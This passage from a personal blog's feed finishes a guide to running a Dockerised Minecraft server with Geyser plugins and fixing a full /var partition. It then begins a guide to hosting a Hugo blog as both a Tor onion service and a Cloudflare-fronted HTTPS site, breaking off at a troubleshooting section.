</span></span></code></pre></div><blockquote>
<p>The <code>version:</code> key in Compose is obsolete now, so I dropped it.</p></blockquote>
<hr>
<h2 id="add-geyser-and-optional-floodgate-as-plugins">Add Geyser (and optional Floodgate) as plugins</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir -p ~/minecraft/plugins
</span></span><span style="display:flex;"><span>cd ~/minecraft/plugins
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Geyser (Spigot/Paper)</span>
</span></span><span style="display:flex;"><span>wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Floodgate (optional: Bedrock accounts without Java linking)</span>
</span></span><span style="display:flex;"><span>wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
</span></span></code></pre></div><p>Start it up:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose up -d
</span></span></code></pre></div><p>On first run, Geyser writes its config to <code>/data/plugins/Geyser-Spigot/</code>. Open UDP <strong>19132</strong> on your firewall.</p>
<hr>
<h2 id="hit-a-wall-var-ran-out-of-space">Hit a wall: <code>/var</code> ran out of space</h2>
<p>Docker stores layers at <code>/var/lib/docker</code> by default. My <code>/var</code> LV was tiny:</p>
<pre tabindex="0"><code>/dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
</code></pre><h3 id="quick-cleanup">Quick cleanup</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker system df
</span></span><span style="display:flex;"><span>docker system prune -f
</span></span><span style="display:flex;"><span>docker builder prune -af
</span></span><span style="display:flex;"><span>sudo apt-get clean
</span></span><span style="display:flex;"><span>sudo journalctl --vacuum-size<span style="color:#f92672">=</span>100M
</span></span></code></pre></div><p>If that’s not enough, you have two good options:</p>
<h3 id="option-a--move-dockers-data-off-var">Option A — Move Docker’s data off <code>/var</code></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl stop docker
</span></span><span style="display:flex;"><span>sudo mkdir -p /home/docker
</span></span><span style="display:flex;"><span>sudo rsync -aHAX --info<span style="color:#f92672">=</span>progress2 /var/lib/docker/ /home/docker/
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#39;{ &#34;data-root&#34;: &#34;/home/docker&#34; }&#39;</span> | sudo tee /etc/docker/daemon.json
</span></span><span style="display:flex;"><span>sudo systemctl start docker
</span></span><span style="display:flex;"><span>docker info | grep <span style="color:#e6db74">&#34;Docker Root Dir&#34;</span>
</span></span></code></pre></div><p>If all looks good, free the old space:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo rm -rf /var/lib/docker/*
</span></span></code></pre></div><h3 id="option-b--grow-var-lvm">Option B — Grow <code>/var</code> (LVM)</h3>
<p>Check free space in the VG:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo vgdisplay   <span style="color:#75715e"># look for &#34;Free PE / Size&#34;</span>
</span></span></code></pre></div><p>If available, extend <code>/var</code> by +5G:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
</span></span><span style="display:flex;"><span>sudo resize2fs /dev/mapper/ubuntu--vg-var
</span></span></code></pre></div><hr>
<h2 id="the-version-mismatch-pre-release-vs-stable">The version mismatch: pre-release vs stable</h2>
<p>My logs showed:</p>
<pre tabindex="0"><code>Starting minecraft server version 1.21.9 Pre-Release 2
</code></pre><p>That happens if the server pulls a pre-release build (or if <code>VERSION=LATEST</code>). Fix:</p>
<ol>
<li>Ensure <code>.env</code> has:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>VERSION<span style="color:#f92672">=</span>LATEST_RELEASE
</span></span></code></pre></div></li>
<li>Recreate:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose down
</span></span><span style="display:flex;"><span>docker compose pull
</span></span><span style="display:flex;"><span>docker compose up -d
</span></span></code></pre></div></li>
<li>Verify:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker logs mc | grep <span style="color:#e6db74">&#34;Starting minecraft server version&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -&gt; Starting minecraft server version 1.21.1   (example)</span>
</span></span></code></pre></div></li>
</ol>
<blockquote>
<p>Tip: If you <strong>want to pin</strong> and avoid auto-updates entirely, set <code>VERSION=1.21.1</code> (or whatever stable you’ve validated).</p></blockquote>
<hr>
<h2 id="no-whitelist">No whitelist</h2>
<p>Because I don’t set <code>WHITELIST</code>/<code>ENFORCE_WHITELIST</code>, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker exec -it mc rcon-cli <span style="color:#e6db74">&#34;op YourJavaIGN&#34;</span>
</span></span></code></pre></div><p>(or edit <code>/data/ops.json</code>).</p>
<hr>
<h2 id="backup--updates">Backup &amp; updates</h2>
<ul>
<li>World/data live under the <code>mc-data</code> volume → back up <code>/data</code> regularly.</li>
<li>Update cleanly:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose pull <span style="color:#f92672">&amp;&amp;</span> docker compose up -d
</span></span></code></pre></div></li>
<li>Watch space:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>watch -n5 <span style="color:#e6db74">&#39;df -h /var; docker system df&#39;</span>
</span></span></code></pre></div></li>
</ul>
<hr>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Put <strong>Geyser/Floodgate</strong> jars in <code>./plugins</code> and expose <strong>19132/udp</strong>.</li>
<li>Keep configs in <code>.env</code>.</li>
<li>Fix <code>/var</code> space by pruning, <strong>moving Docker’s data-root</strong>, or <strong>extending <code>/var</code></strong> via LVM.</li>
<li>Verify version in logs after each change.</li>
</ul>
<p>Happy block-breaking! 🧱🚀</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/minecraft_server.md">Markdown</a> ·
    <a href="/sources/posts/minecraft_server.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
jSrrmBAAuVoSvB3tRIzD&#43;N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
7p/hYijX0vGJ8&#43;WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
JWQAyEUu3Vx/U0BnN6R9Lne&#43;5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
OzvAT5XXRS5Q6Udc7Nsa9T/OYG&#43;elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz&#43;UbLDz
g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
NrClzg0Vujk/3zP/6yhCL7I0SwQ&#43;NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl&#43;LNOWXf/gomXH6Tqm9vnWr/aX
sczdH6N2E0&#43;7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
=NmxL
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md
curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md.asc
gpg --verify minecraft_server.md.asc minecraft_server.md
  </pre>
</div>


]]></content:encoded></item><item><title>Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod</title><link>https://blog.alipour.eu/posts/tor_clearnet_blog/</link><pubDate>Fri, 19 Sep 2025 00:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/tor_clearnet_blog/</guid><description>How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy.</description><content:encoded><![CDATA[<blockquote>
<p>TL;DR — The site is built once (Hugo project), <strong>published twice</strong>:</p>
<ul>
<li><strong>Onion</strong>: <code>http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/</code> via Tor, no TLS/HSTS, bound to <code>127.0.0.1:3301</code>.</li>
<li><strong>Clearnet</strong>: <code>https://blog.alipourimjourneys.ir</code> behind Cloudflare, Let’s Encrypt cert, <code>Onion-Location</code> header pointing to the onion mirror.</li>
</ul></blockquote>
<hr>
<h2 id="1-tor-hidden-service-onion-basics">1) Tor hidden service (onion) basics</h2>
<p>I used Tor’s v3 onion services and mapped onion port 80 → my local web server on <code>127.0.0.1:3301</code>.</p>
<p><strong>Install &amp; configure Tor (Debian/Ubuntu):</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt update <span style="color:#f92672">&amp;&amp;</span> sudo apt install -y tor
</span></span><span style="display:flex;"><span>sudoedit /etc/tor/torrc
</span></span></code></pre></div><p>Add:</p>
<pre tabindex="0"><code>HiddenServiceDir /var/lib/tor/hidden_site/
HiddenServicePort 80 127.0.0.1:3301
</code></pre><p>Make sure the directory is owned by Tor’s user and private:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo mkdir -p /var/lib/tor/hidden_site
</span></span><span style="display:flex;"><span>sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
</span></span><span style="display:flex;"><span>sudo chmod <span style="color:#ae81ff">700</span> /var/lib/tor/hidden_site
</span></span></code></pre></div><p><strong>Important:</strong> use the right systemd unit:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># validate as the Tor user</span>
</span></span><span style="display:flex;"><span>sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># (re)start the real service</span>
</span></span><span style="display:flex;"><span>sudo systemctl enable --now tor@default
</span></span><span style="display:flex;"><span>sudo systemctl restart tor@default
</span></span></code></pre></div><p>Get the onion address:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo cat /var/lib/tor/hidden_site/hostname
</span></span></code></pre></div><p>Quick check (do remote DNS via SOCKS):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -I --socks5-hostname 127.0.0.1:9050 <span style="color:#e6db74">&#34;http://</span><span style="color:#66d9ef">$(</span>sudo cat /var/lib/tor/hidden_site/hostname<span style="color:#66d9ef">)</span><span style="color:#e6db74">&#34;</span>
</span></span></code></pre></div><hr>
<h2 id="2-nginx-for-the-onion-localhost-only">2) Nginx for the onion (localhost-only)</h2>
<p>I keep the onion site strictly on localhost: <strong>no HTTPS, no redirects, no HSTS</strong>. Tor already provides e2e encryption and authenticity.</p>
<p><code>/etc/nginx/sites-available/onion-blog</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">listen</span> 127.0.0.1:<span style="color:#ae81ff">3301</span> <span style="color:#e6db74">default_server</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">server_name</span> <span style="color:#e6db74">&lt;your-56-char&gt;.onion</span> 127.0.0.1 <span style="color:#e6db74">localhost</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># keep onion simple; no HSTS/redirects here
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Referrer-Policy</span> <span style="color:#e6db74">no-referrer</span> <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">add_header</span> <span style="color:#e6db74">X-Content-Type-Options</span> <span style="color:#e6db74">nosniff</span> <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">add_header</span> <span style="color:#e6db74">X-Frame-Options</span> <span style="color:#e6db74">SAMEORIGIN</span> <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># (optional) strict CSP so nothing leaks to clearnet
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e"># add_header Content-Security-Policy &#34;default-src &#39;self&#39;; img-src &#39;self&#39; data:; style-src &#39;self&#39; &#39;unsafe-inline&#39;; script-src &#39;self&#39;&#34; always;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">root</span> <span style="color:#e6db74">/srv/hugo/mysite/public-onion</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">index</span> <span style="color:#e6db74">index.html</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> { <span style="color:#f92672">try_files</span> $uri $uri/ <span style="color:#e6db74">/index.html</span>; }
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">location</span> ~<span style="color:#e6db74">*</span> <span style="color:#e6db74">\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)</span>$ {
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">access_log</span> <span style="color:#66d9ef">off</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Cache-Control</span> <span style="color:#e6db74">&#34;public,</span> <span style="color:#e6db74">max-age=31536000,</span> <span style="color:#e6db74">immutable&#34;</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">try_files</span> $uri =<span style="color:#ae81ff">404</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Enable/reload:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
</span></span><span style="display:flex;"><span>sudo nginx -t <span style="color:#f92672">&amp;&amp;</span> sudo systemctl reload nginx
</span></span></code></pre></div><blockquote>
<p>Gotcha I hit: I had <strong>two</strong> server blocks on <code>127.0.0.1:3301</code>, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it <code>default_server</code>). Also, if you ever use a regex in <code>server_name</code>, the syntax is <code>server_name ~* \.onion$</code> (note the space after <code>~*</code>).</p></blockquote>
<hr>
<h2 id="3-hugo--papermod-setup-and-version-bumps">3) Hugo + PaperMod setup (and version bumps)</h2>
<p>PaperMod now requires <strong>Hugo Extended ≥ 0.146.0</strong>. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read <code>/srv</code> paths by default).</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># install Hugo extended (example)</span>
</span></span><span style="display:flex;"><span>VER<span style="color:#f92672">=</span>0.146.0
</span></span><span style="display:flex;"><span>cd /tmp
</span></span><span style="display:flex;"><span>wget https://github.com/gohugoio/hugo/releases/download/v<span style="color:#e6db74">${</span>VER<span style="color:#e6db74">}</span>/hugo_extended_<span style="color:#e6db74">${</span>VER<span style="color:#e6db74">}</span>_Linux-amd64.tar.gz
</span></span><span style="display:flex;"><span>tar -xzf hugo_extended_<span style="color:#e6db74">${</span>VER<span style="color:#e6db74">}</span>_Linux-amd64.tar.gz
</span></span><span style="display:flex;"><span>sudo mv hugo /usr/local/bin/hugo
</span></span><span style="display:flex;"><span>hugo version  <span style="color:#75715e"># should say &#34;extended&#34; and &gt;= 0.146.0</span>
</span></span></code></pre></div><p>Create the site and theme:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo mkdir -p /srv/hugo <span style="color:#f92672">&amp;&amp;</span> sudo chown -R <span style="color:#e6db74">&#34;</span>$USER<span style="color:#e6db74">&#34;</span>:<span style="color:#e6db74">&#34;</span>$USER<span style="color:#e6db74">&#34;</span> /srv/hugo
</span></span><span style="display:flex;"><span>cd /srv/hugo
</span></span><span style="display:flex;"><span>hugo new site mysite
</span></span><span style="display:flex;"><span>cd mysite
</span></span><span style="display:flex;"><span>git init
</span></span><span style="display:flex;"><span>git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
</span></span></code></pre></div><p><strong>Config updates:</strong> in newer Hugo, <code>paginate</code> is deprecated → use:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#75715e"># config/_default/hugo.toml</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">title</span> = <span style="color:#e6db74">&#34;My Blog&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">theme</span> = <span style="color:#e6db74">&#34;PaperMod&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">enableRobotsTXT</span> = <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">pagination</span>]
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">pagerSize</span> = <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">params</span>]
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">defaultTheme</span> = <span style="color:#e6db74">&#34;auto&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">showReadingTime</span> = <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">showPostNavLinks</span> = <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">showBreadCrumbs</span> = <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">showCodeCopyButtons</span> = <span style="color:#66d9ef">true</span>
</span></span></code></pre></div><p>I added per-environment overrides so I can build two outputs with different <code>baseURL</code>s:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#75715e"># config/clearnet/hugo.toml</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">baseURL</span> = <span style="color:#e6db74">&#34;https://blog.alipourimjourneys.ir/&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># config/onion/hugo.toml</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">baseURL</span> = <span style="color:#e6db74">&#34;http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/&#34;</span>
</span></span></code></pre></div><hr>
<h2 id="4-dual-builds-clearnet--onion-and-one-command-deploy">4) Dual builds (clearnet + onion) and one-command deploy</h2>
<p>I publish the same content twice—once for each base URL and docroot:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd /srv/hugo/mysite
</span></span><span style="display:flex;"><span><span style="color:#75715e"># clearnet build (served over HTTPS)</span>
</span></span><span style="display:flex;"><span>hugo --minify --environment clearnet -d public-clearnet
</span></span><span style="display:flex;"><span><span style="color:#75715e"># onion build (served via Tor)</span>
</span></span><span style="display:flex;"><span>hugo --minify --environment onion    -d public-onion
</span></span><span style="display:flex;"><span>sudo systemctl reload nginx
</span></span></code></pre></div><p>Helper script I use:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo tee /usr/local/bin/build-both &gt;/dev/null <span style="color:#e6db74">&lt;&lt;&#39;EOF&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">#!/usr/bin/env bash
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">set -euo pipefail
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">cd /srv/hugo/mysite
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">hugo --minify --environment clearnet -d public-clearnet
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">hugo --minify --environment onion    -d public-onion
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">sudo systemctl reload nginx
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">echo &#34;Deployed both at $(date)&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">EOF</span>
</span></span><span style="display:flex;"><span>sudo chmod +x /usr/local/bin/build-both
</span></span></code></pre></div><p>While editing, I sometimes auto-rebuild on file save:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install -y entr
</span></span><span style="display:flex;"><span>cd /srv/hugo/mysite
</span></span><span style="display:flex;"><span>find content layouts assets static config -type f | entr -r build-both
</span></span></code></pre></div><hr>
<h2 id="5-clearnet-behind-cloudflare--lets-encrypt-manual-dns-01">5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)</h2>
<p>Cloudflare is set to <strong>Full (strict)</strong>. I issued a public cert for <code>blog.alipourimjourneys.ir</code> using <strong>manual DNS-01</strong> (no API token):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo snap install --classic certbot
</span></span><span style="display:flex;"><span>sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
</span></span></code></pre></div><p>Certbot tells you to add a TXT record <code>_acme-challenge.blog.alipourimjourneys.ir</code>. Add it in Cloudflare DNS, verify with <code>dig</code>, then continue. Cert ends up at:</p>
<pre tabindex="0"><code>/etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
</code></pre><p>Clearnet Nginx vhosts:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#75715e"># HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">listen</span> <span style="color:#ae81ff">80</span>; <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:80</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">server_name</span> <span style="color:#e6db74">blog.alipourimjourneys.ir</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">return</span> <span style="color:#ae81ff">301</span> <span style="color:#e6db74">https://blog.alipourimjourneys.ir</span>$request_uri;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># HTTPS origin (behind Cloudflare)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">listen</span> <span style="color:#ae81ff">443</span> <span style="color:#e6db74">ssl</span> <span style="color:#e6db74">http2</span>; <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:443</span> <span style="color:#e6db74">ssl</span> <span style="color:#e6db74">http2</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">server_name</span> <span style="color:#e6db74">blog.alipourimjourneys.ir</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssl_certificate</span>     <span style="color:#e6db74">/etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssl_certificate_key</span> <span style="color:#e6db74">/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e"># HSTS on clearnet only
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Strict-Transport-Security</span> <span style="color:#e6db74">&#34;max-age=31536000</span>; <span style="color:#f92672">includeSubDomains</span>; <span style="color:#f92672">preload&#34;</span> <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e"># Help Tor Browser discover the onion mirror (safe on clearnet)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Onion-Location</span> <span style="color:#e6db74">&#34;http://&lt;your-56-char&gt;.onion</span>$request_uri&#34; <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">root</span> <span style="color:#e6db74">/srv/hugo/mysite/public-clearnet</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">index</span> <span style="color:#e6db74">index.html</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> { <span style="color:#f92672">try_files</span> $uri $uri/ <span style="color:#e6db74">/index.html</span>; }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><blockquote>
<p>Note: don’t add HSTS or HTTPS redirects to the <strong>onion</strong> vhost. Keep onion pure HTTP on localhost.</p></blockquote>
<hr>
<h2 id="6-troubleshooting-i-ran-into-and-fixes">6) Troubleshooting I ran into (and fixes)</h2>
<ul>
